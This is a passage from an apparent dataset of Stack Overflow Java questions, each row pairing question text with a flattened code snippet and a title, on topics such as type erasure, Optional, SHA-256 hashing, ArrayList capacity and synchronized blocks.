?","mut.getMutEffect ( ) [ 0 ] = ( rs.getInt ( `` leffect_a '' ) ! = 0 ) ; mut.getMutEffect ( ) [ 1 ] = ( rs.getInt ( `` leffect_c '' ) ! = 0 ) ; ... mut.getMutEffect ( ) [ 19 ] = ( rs.getInt ( `` leffect_y '' ) ! = 0 ) ; mut.getMutReliability ( ) [ 0 ] =rs.getInt ( `` lreliability_a '' ) ; ... mut.getMutReliability ( ) [ 19 ] =rs.getInt ( `` lreliability_y '' ) ; CREATE TABLE mutation ( ... leffect_a BIT NOT NULL , lreliability_a TINYINT UNSIGNED NOT NULL , ... leffect_y BIT NOT NULL , lreliability_y TINYINT UNSIGNED NOT NULL , ... ) ENGINE=MyISAM ;",Performance issue with getInt within ResultSetExtractor +Java,"Recently I worked on FindBugs warnings about exposing internal state , i.e . when a reference to an array was returned instead of returning a copy of the array . I created some templates to make converting that code easier.Which one did you create to support defensive programming and want to share with the SO crowd ? Templates I 've created so far ( as examples ) : To create a copy of an array to return from a method : To clone an object :","final $ { type } [ ] $ { result } = new $ { type } [ $ { array } .length ] ; System.arraycopy ( $ { array } , 0 , $ { result } , 0 , $ { array } .length ) ; ( $ { o } ! = null ? ( $ { type } ) $ { o } .clone ( ) : null )",Editor templates for defensive programming +Java,I 've read up on this and everything I 'm seeing says I should be able to do this so there must be some little thing I 'm missing . I 've converted a Java class to Kotlin : And I call it from Java : and get this error :,"object OrderTitle { @ JvmOverloads fun generateMessage ( context : Activity , otherParameter : AType ? = null ) : AnotherType { // Do some things } } message = OrderTitle.generateMessage ( activity , property ) ; error : non-static method generateMessage ( Activity , Property ) can not be referenced from a static context",Using Kotlin singleton from Java +Java,"I found the following question and answer on the oracle websiteWhat is the following class converted to after type erasure ? Answer : But when i decompile the class file using JD-GUI , i still see all the generic types similar what i have in the actual source code.Does this mean that the generic types are retained in the class file ? i 'm using Java 6.The decompiler version of the class using JD-GUI is as follows . I 'm using Eclipse Helios to compile the class .","public class Pair < K , V > { public Pair ( K key , V value ) { this.key = key ; this.value = value ; } public K getKey ( ) ; { return key ; } public V getValue ( ) ; { return value ; } public void setKey ( K key ) { this.key = key ; } public void setValue ( V value ) { this.value = value ; } private K key ; private V value ; } public class Pair { public Pair ( Object key , Object value ) { this.key = key ; this.value = value ; } public Object getKey ( ) { return key ; } public Object getValue ( ) { return value ; } public void setKey ( Object key ) { this.key = key ; } public void setValue ( Object value ) { this.value = value ; } private Object key ; private Object value ; } public class Pair < K , V > { private K key ; private V value ; public Pair ( K key , V value ) { this.key = key ; this.value = value ; } public K getKey ( ) { return this.key ; } public V getValue ( ) { return this.value ; } public void setKey ( K key ) { this.key = key ; } public void setValue ( V value ) { this.value = value ; } }",Java - Generic Types - Type Erasure +Java,I download some files in my java app and implemented a download monitor dialog . But recently I compressed all the files with gzip and now the download monitor is kind of broken.I open the file as a GZIPInputStream and update the download status after every kB downloaded . If the file has a size of 1MB the progress goes up to e.g . 4MB which is the uncompressed size . I want to monitor the compressed download progress . Is this possible ? EDIT : To clarify : I 'm reading the bytes from the GZipInputStream which are the uncompressed bytes . So that does not give me the right filesize at the end.Here is my code : Thanks for any help !,"URL url = new URL ( urlString ) ; HttpURLConnection con = ( HttpURLConnection ) url.openConnection ( ) ; con.connect ( ) ; ... File file = new File ( `` bibles/ '' + name + `` .xml '' ) ; if ( ! file.exists ( ) ) file.createNewFile ( ) ; out = new FileOutputStream ( file ) ; in = new BufferedInputStream ( new GZIPInputStream ( con.getInputStream ( ) ) ) ; byte [ ] buffer = new byte [ 1024 ] ; int count ; while ( ( count = in.read ( buffer ) ) ! = -1 ) { out.write ( buffer , 0 , count ) ; downloaded += count ; this.stateChanged ( ) ; } ... private void stateChanged ( ) { this.setChanged ( ) ; this.notifyObservers ( ) ; }",Monitor GZip Download Progress in Java +Java,I have some code where I 'm using Java 8 Optional in which I want to log an error when I do n't get the required result.As shown in following Example I have commented on a line where I get the error when I 'm trying to log Error Message : P.S - I only want to use the Java 8 method and not conventional approach.Thanks in advance !,"@ PutMapping ( `` /organs/ { id } '' ) public Organ updateorgan ( @ PathVariable ( value = `` id '' ) Long organId , @ Valid @ RequestBody Organ organDetails ) { Organ organ = organRepository.findById ( organId ) .orElseThrow ( ( ) - > // LOG.log ( Level.SEVERE , '' Organ with id `` +organId + `` not found '' ) ; new ResourceNotFoundException ( `` organ '' , `` id '' , organId ) ) ; organ.setName ( organDetails.getName ( ) ) ; Organ updatedOrgan = organRepository.save ( organ ) ; LOG.info ( `` Updated organ details . Response : '' +updatedOrgan ) ; return updatedOrgan ; }",Logging in Java 8 Optional +Java,"I 'm getting different outputs from hashing a string on the command line vs. in Java on Android . I 'm sure I 'm doing something wrong , but I do n't see what.Command line : Java : Java output : Here 's the bytesToHex ( ... ) method , which I found in another Q & A . I confirmed that it 's doing the right thing by logging Integer.toHexString ( b ) for each b .","kevin @ aphrodite : ~ $ echo derp | sha256sumee673d13de31533a375b41d9e57731d9bb4dbddbd6c1d2364f15be40fd783346 - final String plaintext = `` derp '' ; final MessageDigest md ; try { md = MessageDigest.getInstance ( `` SHA-256 '' ) ; } catch ( NoSuchAlgorithmException e ) { /* SHA-256 should be supported on all devices . */ throw new RuntimeException ( e ) ; } final String inputHash = bytesToHex ( md.digest ( plaintext.getBytes ( ) ) ) ; Log.debug ( TAG , `` input hash : `` + inputHash ) ; 10-05 13:32:57.412 : D/Config ( 12082 ) : input hash : 3f4146a1d0b5dac26562ff7dc6248573f4e996cf764a0f517318ff398dcfa792 private static final char [ ] hexDigit = `` 0123456789abcdef '' .toCharArray ( ) ; private static String bytesToHex ( byte [ ] bytes ) { char [ ] hexChars = new char [ bytes.length * 2 ] ; for ( int i = 0 ; i < bytes.length ; ++i ) { int b = bytes [ i ] & 0xFF ; hexChars [ i * 2 ] = hexDigit [ b > > > 4 ] ; hexChars [ i * 2 + 1 ] = hexDigit [ b & 0x0F ] ; } return new String ( hexChars ) ; }",Why are my Java and command line SHA256 outputs different ? +Java,"This is my Code here Here In my activity I am using Epson SDK to print data form web-view to android activity..So on Web-veiw Onclick It will start Printer Activity and It will printWhat I am trying to do is ... .. OnClick from Web-view it will Open printer Activity so that it should print and Exit ... So here I have created a Web-view ... With the help of JS it sill Open my activity form Web-view ( onclick ) till now its fine ... But I tried to Add print and exit.. onclick but Its not working ... Because I need to select language and Printer Model ... .How ever in shared_DiscoveryActivity I am adding Printer and saved it in shared prefs ... so it will not ask any more ... its working So Here My problem Is that 1 ) Printer is Asking for Model No and Language So Can Any one suggest me How to Give them Manually instead of Selectionhere is the Old Code For this I got these Values at System.out.print2 ) This is the Major Problem Here I am defining Printer In Shared Pinter So In my Code It will Check for Printer On that addressBut Here If printer Is not Found What should I do ... Because On webview Printer Will start at Backend.. But App remains in webview So its crashing ... Please suggest me on this kindUpdate 1Here I have Added a New File Test_Pthis will print in background without showing any info to User OnClick It will start Printing Here My problem is that If the Printer is Offline Or User is not on Same Network App Is Crashing instead of that I tried to Give a Message That Print is not avilable/Conffiged Please try again ... but The Text or Alert Is not Showing.I am Getting This Error If printer is offline or Not FoundActually If Printer Not Available it should go to Config printer and Then print again , , , But I tried to Make a msg But Its crashing Please Help me on this thanks ... .","mPrinter = new Printer ( ( ( SpnModelsItem ) mSpnSeries.getSelectedItem ( ) ) .getModelConstant ( ) , ( ( SpnModelsItem ) mSpnLang.getSelectedItem ( ) ) .getModelConstant ( ) , mContext ) ; System.out : -- -- - spnSeries -- -- -android.widget.Spinner { 24440249 VFED..C. ... ... .. 0,444-466,516 # 7f0e007b app : id/spnModel } System.out : -- -- - lang -- -- -android.widget.Spinner { 1a6c617c VFED..C. ... ... .. 0,604-366,676 # 7f0e007d app : id/spnLang } System.out : -- -- - printer -- -- -com.epson.epos2.printer.Printer @ b8250d6 FATAL EXCEPTION : mainProcess : com.epson.epos2_printer , PID : 15489java.lang.NullPointerException : Attempt to invoke virtual method 'java.lang.String android.content.Context.getString ( int ) ' on a null object referenceat com.epson.epos2_printer.ShowMsg.showException ( ShowMsg.java:16 ) at com.epson.epos2_printer.Test_P.connectPrinter ( Test_P.java:173 ) at com.epson.epos2_printer.Test_P.printData ( Test_P.java:249 ) at com.epson.epos2_printer.Test_P.runPrintReceiptSequence ( Test_P.java:295 ) at com.epson.epos2_printer.Test_P.access $ 200 ( Test_P.java:33 ) at com.epson.epos2_printer.Test_P $ 2.run ( Test_P.java:128 ) at android.os.Handler.handleCallback ( Handler.java:739 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:150 ) at android.app.ActivityThread.main ( ActivityThread.java:5408 ) at java.lang.reflect.Method.invoke ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:372 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:964 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:759 )",Android EPSON thermal Print data from web-view on click ? If Printer Not Found ? +Java,I do n't understand why this code is not compiling : I do n't need this code to work . I just want to understand the reason why autoboxing des n't work in this case ?,Object [ ] arr = new int [ 3 ] ;,Why autoboxing does n't work in arrays ? +Java,"I 'm novice in Grails and I have a doubt . Lets say I have my Datasource.groovy configured to mysql database . Everything works fine and my grails app is running . In the controller , if I want to add/modify the database that I have set in DataSource.groovy how I can do that ? Again I need to do something like this in each controller : in order to get the db instance that I point to DataSource.groovy file ? Are there any best practices to do so ?","def db = Sql.newInstance ( 'jdbc : mysql : //***** ' , 'root ' , `` , 'com.mysql.jdbc.Driver ' )",How do I get database instance in grails ? +Java,"I 'm currently writing a Java-API for SOAP-webservices used at my workplace.The webservice-classes are generated with Axis2 and they can return null . As I do n't want to deal with null-references on my business logic level , I 'm using Optional < > as return-type.For example : The above method executes a webservice-operation to search for some account-record in a database . If there is no account to be found with matching argument accountId , the method call response.getAccount ( ) can return null.Is there a more concise way of writing the Javadoc for @ return ? Especially for the phrase `` wrapped as an Optional < > '' ? ( I know that the answers might be opinion based , but I have n't found any recommendations for this on stackoverflow or by googling . )","/** * Reads account-data to given accountId . * * @ param accountId * the primary key of table 'account ' * @ return the account wrapped as an Optional < > , if an account with primary key 'accountId ' exists ; Optional.empty ( ) , else */public Optional < Account > readAccount ( long accountId ) throws RemoteException , ServiceFaultException { // prepare SOAP-Request ReadAccount request = new ReadAccount ( ) ; request.setAccountId ( accountId ) ; // execute SOAP-Request ReadAccountResponse response = accountService.readAccount ( request ) ; // process Response Optional < Account > account = Optional.ofNullable ( response.getAccount ( ) ) ; return account ; }",Writing Javadoc for return-type 'Optional < T > ' +Java,"I am completely new to Windows batch programming.What I want to achieve is to write a startup script for a Java application . Yet , it does not start the Java application , but rather prints outUsage : java [ -options ] class [ args ... ] ( to execute a class ) or java [ -options ] -jar jarfile [ args ... ] ( to execute a jar file ) ... which indicates that my parameters are not correctly recognized.Here is my MCVE for the not-working script : In the real scenario , memory is calculated to set the optimal maximal heap size for the application.Leaving out one of both parameters makes the app start . Soandworks , but I need both parameters to work in one call .",set memory=600000java -XX : OnOutOfMemoryError= '' taskkill /PID % p '' -Xmx % memory % K -jar MyApp.jar java -XX : OnOutOfMemoryError= '' taskkill /PID % p '' -jar MyApp.jar set memory=600000java -Xmx % memory % K -jar MyApp.jar,Windows batch & java : Combining -XX : OnOutOfMemoryError command and batch parameters +Java,Given the following code : the compiler javac produces the following code : Function f does really simple thing - it just returns 1 . It 's so directly translated that it makes me hard to believe that java compiler does any optimizations at all . Why java compiler creators decided to not do such optimizations in the compilation phase ?,"public class MainClass { public static int f ( ) { int i=0 ; i++ ; return i ; } } Compiled from `` MainClass.java '' public class latte_jvm.MainClass { public static int f ( ) ; Code : 0 : iconst_0 1 : istore_0 2 : iinc 0 , 1 5 : iload_0 6 : ireturn }",Why javac does not optimize even simple code ? +Java,"I have an arraylist of objects that I want to create all possible combinations ( according to a simple set of rules ) . Each object that is stored in the list holds a squadNumber and a string . Here is an example of a typical list I am storing : I want to get all the combinations where each squadNumber can only be present once , for example : ( 1 , A ) , ( 2 , A ) , ( 3 , C ) , ( 4 , C ) then the next combination would be ( 1 , A ) , ( 2 , A ) , ( 3 , C ) , ( 4 , D ) .How would I go about this in java ? Usually I would use a nested loop , but the fact that it 's all being stored in one list complicates things for me.Thanks , paintstripper","0 : 1 , A1 : 1 , B2 : 2 , A3 : 2 , B4 : 3 , C5 : 3 , D6 : 4 , C7 : 4 , D",Possible combinations of a list +Java,"My Practice Tests book contains this question on the ternary operator : It does not compile . The explanation given is the following : Ternary operations require both right-hand expressions to be of compatible data types . In this example , the first right-hand expression of the outer ternary operation is of type String , while the second right-hand expression is of type int . Since these data types are incompatible , the code does not compile , and Option C is the correct answer.Is that really the reason ? It looks to me like this example does n't compile because 10 is not a String and a String is what the method must return.I 'm asking because System.out.println ( distance < 1000 ? `` train '' : 10 ) ; compiles and runs without a problem .",// What is the output of the following application ? public class Transportation { public static String travel ( int distance ) { return ( distance < 1000 ? `` train '' : 10 ) ; } public static void main ( String [ ] args ) { travel ( 500 ) ; } },Must both right-hand expressions of a ternary operator be of compatible types ? +Java,Given the following enum : I realize we are able to write it this way : which is equivalent to : May I know why such syntax is allowed ? Is there a way to let the compiler warn us against this ?,"enum Repeat { Daily , Weekly , Yearly } Repeat repeat = Repeat.Daily.Weekly.Yearly.Weekly ; Repeat repeat = Repeat.Weekly ;",Why do we allow referring to an enum member of an enum member in Java ? +Java,"As a beginner in programming it always bugs me when I run into a walls . Currently one of the wall are co-depending objects . As you can see in my question history I 'm currently working on a blackberry application , in which I implemented something I call the MVC Pattern , but it is n't exactly what I think it 's meant to be.You see , a novice programmer you look on abstracts like this graphic and you get the idea behind it . But implementing it is another thing.alt text http : //www.ibm.com/developerworks/wireless/library/wi-arch6/theoretical.gifPlease , do n't stop reading : ) I 'm showing you some of me code , which contains some blackberry specific stuff , but you should see what I 'm doing.Main Entry Point for my Application The Mainscreen Model The MainScreenControllerStill there ? Okay ... My Problem here is , that I want to use the controller to change UI Elements , like Displaying a PopUp Box , hide someting or other things.But all these UI Elements are defined in the View ( here ContactManagerMainScreen ) so have to give to the Controller a reference to the View . Which leads to my co-depending objects misery.I can not create the controller before the view is declared . Without the requirement to allow the controller to change UIElements , it would be no problem ( as shown in the Graphics ) .What I 'm doing now is that the View creates the Controller Does that makes sense ? I want to understand the pattern , so call my code trash or anything you like : ) I just want to learn something.P.S . I beg your pardon for my bad english : )","public class ContactManager extends UiApplication { private static ContactManagerMainScreenModel MainScreenModel = new ContactManagerMainScreenModel ( ) ; private static ContactManagerMainScreen MainScreenView = null ; public static void main ( String [ ] args ) { new ContactManager ( ) .enterEventDispatcher ( ) ; } public ContactManager ( ) { MainScreenView = new ContactManagerMainScreen ( MainScreenModel ) ; // Displays the Splashscreen then opens the Mainscreen new SplashScreen ( UiApplication.getUiApplication ( ) , MainScreenView ) ; } } public class ContactManagerMainScreenModel { ContactManagerMainScreen v ; // Loading Local Storage LocalContactStorage LocalContactStorage = new LocalContactStorage ( ) ; // Define Data List private Vector vContacts_Favorites ; public void register ( ContactManagerMainScreen v ) { this.v = v ; } // Retrieve Favorite Contacts from Persistant Storage public Vector getFavoriteContactsFromLocalStorage ( ) { vContacts_Favorites = LocalContactStorage.getFavoriteContactsFromLocalStorage ( ) ; return vContacts_Favorites ; } // Put Retrieve Favorite Contacts from Persistant Storage public void saveFavoriteContactsToLocalStorage ( ) { LocalContactStorage.saveFavoriteContactsToLocalStorage ( vContacts_Favorites ) ; } } public class ContactManagerMainScreenController { private ContactManagerMainScreenModel _model = null ; private ContactManagerMainScreen _view = null ; public ContactManagerMainScreenController ( ContactManagerMainScreen view , ContactManagerMainScreenModel model ) { this._model = model ; this._view = view ; } public void HideFavoriteList ( ) { if ( this._view._ContactList.getManager ( ) ! = null ) { this._view._ContactList.getManager ( ) .delete ( this._view._ContactList ) ; } else { this._view._bottom_box.add ( this._view._ContactList ) ; } } } controller = new ContactManagerMainScreenController ( this , model ) ;",Java MVC - Does n't feel like I get it +Java,"I use following Java code to launch a Terminal : This causes a terminal window to be opened , but the modifications of PATH seem to be ignored : This problem seems to be related to how I 'm launching the Terminal . Launching other applications with modifying the environment variables works fine.How to launch the Terminal so that it accepts my environment variable modifications , even if the Terminal already is open ?","final ProcessBuilder processBuilder = new ProcessBuilder ( `` /usr/bin/open '' , `` -b '' , `` com.apple.Terminal '' , `` /Volumes '' ) ; final Map < String , String > environment = processBuilder.environment ( ) ; final String path = environment.get ( `` PATH '' ) ; environment.put ( `` PATH '' , `` /mypath '' + File.pathSeparator + path ) ; final Process process = processBuilder.start ( ) ; process.waitFor ( ) ; Volumes $ echo $ PATH/usr/bin : /bin : /usr/sbin : /sbin : /usr/local/bin",Modify PATH when launching Terminal from Java +Java,I have a simple object : No magic here except the fact that im using Lombok 1.18.2 here for the @ Value and @ Builder Annotations . All was working fine with Java 10 and Gradle 4.10 . Now I upgraded to Java 11 and Gradle 5.2 and suddenly I get : I dont really know what to do here . First I thought it is a problem with lombok but I upgraded to 1.18.6 which supports java 11 . Now I have no new idea whats wrong .,@ Value @ Builderpublic class User implements Serializable { private final String userId ; private final String email ; private final String name ; } > Task : application : compileJava/src/application/src/main/java/com/rbb/tutor/user/model/User.java:12 : error : variable userId not initialized in the default constructor private final String userId ; ^/src/application/src/main/java/com/rbb/tutor/user/model/User.java:13 : error : variable email not initialized in the default constructor private final String email ; ^/src/application/src/main/java/com/rbb/tutor/user/model/User.java:14 : error : variable name not initialized in the default constructor private final String name ; ^,Upgrading from java 10 to java 11 and gradle 4.10 to gradle . 5.2 : `` Variable not initialized in the default constructor '' +Java,"My mac is armed with 16 cores.I 'm running the code below to see the effectiveness of utilizing my cores . The thread 'CountFileLineThread ' simply count the number of lines in a file ( There are 133 files in a folder ) I 'm taking notes on this line : Where NUM_CORES is between 1 to 16.You will note from the result below that above 5 cores the performance starts to degrade . I would n't expect a 'product of diminishing return ' for 6 cores and above ( btw , for 7 cores it takes over 22 minutes , hello ? ! ? ! ) my question is why ?",System.out.println ( Runtime.getRuntime ( ) .availableProcessors ( ) ) ; //16 ExecutorService es = Executors.newFixedThreadPool ( NUM_CORES ) ; public class TestCores { public static void main ( String args [ ] ) throws Exception { long start = System.currentTimeMillis ( ) ; System.out.println ( `` START '' ) ; int NUM_CORES = 1 ; List < File > files = Util.getFiles ( `` /Users/adhg/Desktop/DEST/ '' ) ; System.out.println ( `` total files : `` +files.size ( ) ) ; ExecutorService es = Executors.newFixedThreadPool ( NUM_CORES ) ; List < Future < Integer > > futures = new ArrayList < Future < Integer > > ( ) ; for ( File file : files ) { Future < Integer > future = es.submit ( new CountFileLineThread ( file ) ) ; futures.add ( future ) ; } Integer total = 0 ; for ( Future < Integer > future : futures ) { Integer result = future.get ( ) ; total+=result ; System.out.println ( `` result : '' +result ) ; } System.out.println ( `` -- -- - > '' +total ) ; long end = System.currentTimeMillis ( ) ; System.out.println ( `` END . `` + ( end-start ) /1000.0 ) ; } },Degrading performance when increasing number of cores +Java,Could you please explain it to me ? Why and are different ?,"Stream.of ( l1 , l2 ) .flatMap ( ( x ) - > x.stream ( ) ) .forEach ( ( x ) - > System.out.println ( x ) ) ; Stream.of ( l1 , l2 ) .flatMap ( ( x ) - > Stream.of ( x ) ) .forEach ( ( x ) - > System.out.println ( x ) ) ;",Java 8 . Difference between collection.stream ( ) and Stream.of ( collection ) +Java,"I 'm reading the documentation for how ArrayLists in Java are grown . I do n't understand why the hugeCapacity ( int minCapacity ) method chooses to return either Integer.MAX_VALUE or MAX_ARRAY_SIZE . From how MAX_ARRAY_SIZE is defined in the class , It 's almost the same as Integer.MAX_VALUE except off by the size of one integer ( 32 bits ) .Can anyone tell me what the subtle difference is in returning Integer.MAX_VALUE versus MAX_ARRAY_SIZE ? Either way , should n't an OutOfMemoryError occur ?",244 | private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8 ; 264 | private static int hugeCapacity ( int minCapacity ) { 265 | if ( minCapacity < 0 ) // overflow266 | throw new OutOfMemoryError ( ) ; 267 | return ( minCapacity > MAX_ARRAY_SIZE ) ? 268 | Integer.MAX_VALUE :269 | MAX_ARRAY_SIZE ; 270 | },Java 8 Arraylist hugeCapacity ( int ) implementation +Java,"I 've noticed something very strange yesterday . It seems that two threads are entering two synchronized blocks locking on the same object at the same time.The class ( MyClass ) containing the relevant code looks similar to this : I created a thread dump of my application running the above class and was very surprised as I saw this : ( I changed the class and method names for the case of simplicity , so do n't get confused by the silly names . ) It seems that thread http-8080-136 and http-8080-111 have both acquired the lock on myLock . It is the same object as the object address is the same : 0x00007fd8a6b8c790 . The Java Runtime Specification says this about the synchronized keyword : A synchronized statement acquires a mutual-exclusion lock ( §17.1 ) on behalf of the executing thread , executes a block , then releases the lock . While the executing thread owns the lock , no other thread may acquire the lock . [ The Java Language Specification , 14.19 ] So how is this even possible ? There are another 44 threads in the thread dump `` waiting '' for the lock . This is how it looks like if a thread is waiting :","private static int [ ] myLock = new int [ 0 ] ; protected static int methodA ( final long handle , final byte [ ] sort ) { synchronized ( myLock ) { return xsMethodA ( handle , sort ) ; } } protected static int methodB ( final long handle ) { synchronized ( myLock ) { return xsMethodB ( handle ) ; } } `` http-8080-136 '' daemon prio=10 tid=0x00000000447df000 nid=0x70ed waiting for monitor entry [ 0x00007fd862aea000 ] java.lang.Thread.State : BLOCKED ( on object monitor ) at com.MyClass.methodA ( MyClass.java:750 ) - locked < 0x00007fd8a6b8c790 > ( a [ I ) at com.SomeOtherClass.otherMethod ( SomeOtherClass.java:226 ) ... '' http-8080-111 '' daemon prio=10 tid=0x00007fd87d1a0000 nid=0x70c8 waiting for monitor entry [ 0x00007fd86e15f000 ] java.lang.Thread.State : BLOCKED ( on object monitor ) at com.MyClass.methodB ( MyClass.java:991 ) - locked < 0x00007fd8a6b8c790 > ( a [ I ) at com.SomeOtherClass.yetAnotherMethod ( SomeOtherClass.java:3231 ) ... `` http-8080-146 '' daemon prio=10 tid=0x00007fd786dab000 nid=0x184b waiting for monitor entry [ 0x00007fd8393b6000 ] java.lang.Thread.State : BLOCKED ( on object monitor ) at com.MyClass.methodC ( MyClass.java:750 ) - waiting to lock < 0x00007fd8a6b8c790 > ( a [ I ) at com.SomeOtherClass.yetAnoterMethod2 ( SomeOtherClass.java:226 )",synchronized section does not block ! +Java,"I was reading this article , , about subclassing a builder class . I understood the article but there was one small bit that bothered me . There was this method , When I changed Builder < ? > to Builder , a raw type , the compiler would not compile the code . The error was , What was the additional information passed to the compiler using the additional < ? > ? I suspected it was the compiler which could not figure the right instance during compilation . If I remove the comment markers in ( A ) the code compiled and ran fine . All the time it was referring to the Rectangle instance . So , my guess is it was the compiler which failed.It would be great if someone can point me to an article that explains this or leads to find out more information to this . Thanks.I have pasted the code here :",public static Builder < ? > builder ( ) { return new Builder2 ( ) ; } Rectangle.java:33 : error : can not find symbolSystem.out.println ( Rectangle.builder ( ) .opacity ( 0.5 ) .height ( 250 ) ; public class Shape { private final double opacity ; public static class Builder < T extends Builder < T > > { private double opacity ; public T opacity ( double opacity ) { this.opacity = opacity ; return self ( ) ; } /* Remove comment markers to make compilation works ( A ) public T height ( double height ) { System.out.println ( `` height not set '' ) ; return self ( ) ; } */ protected T self ( ) { System.out.println ( `` shape.self - > `` + this ) ; return ( T ) this ; } public Shape build ( ) { return new Shape ( this ) ; } } public static Builder < ? > builder ( ) { return new Builder ( ) ; } protected Shape ( Builder builder ) { this.opacity = builder.opacity ; } } public class Rectangle extends Shape { private final double height ; public static class Builder < T extends Builder < T > > extends Shape.Builder < T > { private double height ; public T height ( double height ) { System.out.println ( `` height is set '' ) ; this.height = height ; return self ( ) ; } public Rectangle build ( ) { return new Rectangle ( this ) ; } } public static Builder < ? > builder ( ) { return new Builder ( ) ; } protected Rectangle ( Builder builder ) { super ( builder ) ; this.height = builder.height ; } public static void main ( String [ ] args ) { Rectangle r = Rectangle.builder ( ) .opacity ( 0.5 ) .height ( 250 ) .build ( ) ; } },Java Method Unbounded Type or Class Return +Java,"I have Java service running on Windows 7 that runs once per day on a SingleThreadScheduledExecutor . I 've never given it much though as it 's non critical but recently looked at the numbers and saw that the service was drifting approximately 15 minutes per day which sounds way to much so dug it up.This method pretty consistently drifts +110ms per each 10 seconds . If I run it on a 1 second interval the drift averages +11ms.Interestingly if I do the same on a Timer ( ) values are pretty consistent with an average drift less than a full millisecond.Linux : does n't drift ( nor with Executor , nor with Timer ) Windows : drifts like crazy with Executor , does n't with TimerTested with Java8 and Java11.Interestingly , if you assume a drift of 11ms per second you 'll get 950400ms drift per day which amounts to 15.84 minutes per day . So it 's pretty consistent.The question is : why ? Why would this happen with a SingleThreadExecutor but not with a Timer.Update1 : following Slaw 's comment I tried on multiple different hardware . What I found is that this issue does n't manifest on any personal hardware . Only on the company one . On company hardware it also manifests on Win10 , though an order of magnitude less .","Executors.newSingleThreadScheduledExecutor ( ) .scheduleAtFixedRate ( ( ) - > { long drift = ( System.currentTimeMillis ( ) - lastTimeStamp - seconds * 1000 ) ; lastTimeStamp = System.currentTimeMillis ( ) ; } , 0 , 10 , TimeUnit.SECONDS ) ; new Timer ( ) .schedule ( new TimerTask ( ) { @ Override public void run ( ) { long drift = ( System.currentTimeMillis ( ) - lastTimeStamp - seconds * 1000 ) ; lastTimeStamp = System.currentTimeMillis ( ) ; } } , 0 , seconds * 1000 ) ;",Why does the Java Scheduler exhibit significant time drift on Windows ? +Java,"Let 's say I need a class that is bounded to a generic Comparable type : The class has a method with own generics in signature : Now , is there a possibility to restrict the input of the submit method to accept only Callables that also implement T ? I first tried this : but found out it 's not possible ( for reasons described here ) . Is there any elegant possibility to bypass it ? EDIT : The one ugly possibility I can think about is to split the encapsulation in two different types and pass an object pair in submit : The main disadvantage is that the method signature becomes more complicated , also I will need some one-to-one mapping of Ts to Callables for some latter code . Maybe one can suggest a pattern that solves it in an appropriate way ? ..EDIT , take two : Let me explain briefly what I 'm trying to achieve . I 'm working on a custom thread pool implementation that is able to perform some kind of special task scheduling . To do so , this service accepts only one special sort of Callable tasks . Those Callables have to implement a custom interface that is similar to the Comparable one . By comparing pairs of tasks using methods in this interface , the service will : Block the incoming task if it is blocked by any running task.Invoke pending tasks on completion of a done task 's Future.Determine the execution order of pending tasks by comparing them.The blocking/comparison logic should be provided by the tasks themselves . This way the thread pool class should only define what special kind of Comparables the pool object is accepting , and it does n't care at all what kind of Callables they really are and what is their return type.EDIT , take three : Based on Erick Robertson 's answer , it 's now possible to prevent submitting of smelly tasks : Nice and easy ! Hope some day this will help someone in the same situation as mine . : - )","class A < T extends Comparable < T > > { // this is just an example of usage of T type List < T > comparables ; int compareSomething ( T smth ) { return comparables.get ( 0 ) .compareTo ( smth ) ; } } < V > Future < V > submit ( Callable < V > task ) { return someExecutorService.submit ( task ) ; } < V , W extends T & Callable < V > > Future < V > submit ( W task ) { if ( compareSomething ( task ) ! = 0 ) throw new RuntimeException ( `` '' ) ; return someExecutorService.submit ( task ) ; } class A < T extends Comparable < T > > { // this is just an example of usage of T type List < T > comparables ; int compareSomething ( T smth ) { return comparables.get ( 0 ) .compareTo ( smth ) ; } < V > Future < V > submit ( Callable < V > task , T comparable ) { if ( compareSomething ( comparable ) ! = 0 ) throw new RuntimeException ( `` '' ) ; return someExecutorService.submit ( task ) ; } } public static void test ( String [ ] args ) { A < Valid > scheduler = new A < > ( ) ; scheduler.betterSubmit ( new Valid ( ) ) ; // applies to method signature scheduler.betterSubmit ( new Forbidden ( ) ) ; // rejected on compile time scheduler.betterSubmit ( new ConformWithValid ( ) ) ; // still appliable because all required interfaces implementations recognised } // just a bunch of test classesprivate static class Valid implements Comparable < Valid > , Callable < Void > { @ Override public int compareTo ( Valid o ) { return 0 ; } @ Override public Void call ( ) throws Exception { return null ; } } private static class Forbidden implements Comparable < Forbidden > , Callable < Void > { @ Override public int compareTo ( Forbidden o ) { return -1 ; } @ Override public Void call ( ) throws Exception { return null ; } } private static class ConformWithValid implements Comparable < Valid > , Callable < Boolean > { @ Override public int compareTo ( Valid o ) { return 1 ; } @ Override public Boolean call ( ) throws Exception { return Boolean.FALSE ; } }",Encapsulate class-specific and method-specific generics in one type +Java,"I need to associate some data with a key for its lifetime , so I am using a WeakHashMap . However , in addition I need to get a key by its corresponding value . The easy way to do it is to hold on to the reference when creating a value : Of course , while I use Value in my program , its key wo n't go away . However , if there are no more references to either key or its value outside the map , will it be garbage collected ? Or does the surviving strong reference in the value prevent it ?",public class Key { } public class Value { final public Key key ; public Value ( Key k ) { key = k ; } },Will a WeakHashMap 's entry be collected if the value contains the only strong reference to the key ? +Java,"The output of the above code is `` int '' . But it should be `` long '' because byte type argument function is already present . But here the program is promoting the byte values to int , but it should not be the case.Please can someone clarify what is going on here ?","public class Test { public static void printValue ( int i , int j , int k ) { System.out.println ( `` int '' ) ; } public static void printValue ( byte ... b ) { System.out.println ( `` long '' ) ; } public static void main ( String ... args ) { byte b = 9 ; printValue ( b , b , b ) ; } }",Why does type-promotion take precedence over varargs for overloaded methods +Java,"I am not sure I understand code on line 1 below ? I understand line2 since Phone implements Talkable , but Device and Talkable are unrelated , How can line1 be legal ?",interface Talkable { } class Device { } class Phone extends Device implements Talkable { } Talkable d = ( Talkable ) new Device ( ) ; //line 1Talkable p = new Phone ( ) ; //line 2,Cast to unimplemented interface compiles +Java,"If I need 8 boolean member variables in a class , does Java effectively place them all in one byte ? Or will it use a byte for each ? In other words , is the memory footprint different for : vs.I 'm asking because I will be instantiating a lot of these objects . So having it take 1 byte instead of 8 bytes of memory will be a noticeable savings.Update : This is definitely similar to the linked questions that list that a boolean is stored in an int ( thank you for those links and sorry I did n't find them before asking ) . This question is a little different in that it presents the specific alternative of using a byte and bit flags . I do n't know if this is sufficient to make this question 